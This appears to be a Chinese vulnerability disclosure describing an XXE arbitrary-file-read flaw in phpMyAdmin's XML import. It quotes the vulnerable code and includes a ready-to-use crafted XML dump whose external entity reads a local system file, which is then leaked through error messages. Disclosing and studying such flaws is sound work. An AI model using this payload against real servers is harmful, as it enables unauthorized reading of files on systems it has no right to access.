PhpMyadmin任意文件读取漏洞
漏洞详情
简要描述:
PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源
详细说明:
libraries/import/xml.php中
unset($data);
/**
* Load the XML string
*
* The option LIBXML_COMPACT is specified because it can
* result in increased performance without the need to
* alter the code in any way. It's basically a freebee.
*/
$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);
unset($buffer);
/**
* The XML was malformed
*/
if ($xml === FALSE) {
可以使用系统中的import功能导入一个精心构造的xml文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE wooyun [
<!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">
]>
<!--
- phpMyAdmin XML Dump
- version 3.4.4
- http://www.phpmyadmin.net
-
- 主机: localhost
- 生成日期: 2011 年 11 月 01 日 14:56
- 服务器版本: 5.1.28
- PHP 版本: 5.2.6
-->
<pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">
<!--
- Structure schemas
-->
<pma:structure_schemas>
<pma:database name="test" collation="utf8_general_ci" charset="utf8">
<pma:table name="ts_ad">
&hi80sec;
</pma:table>
</pma:database>
</pma:structure_schemas>
<!--
- 数据库: 'thinksns'
-->
<database name="thinksns">
<!-- 表 ts_ad -->
</database>
</pma_xml_export>
来读写文件,系统错误信息会直接显示出文件内容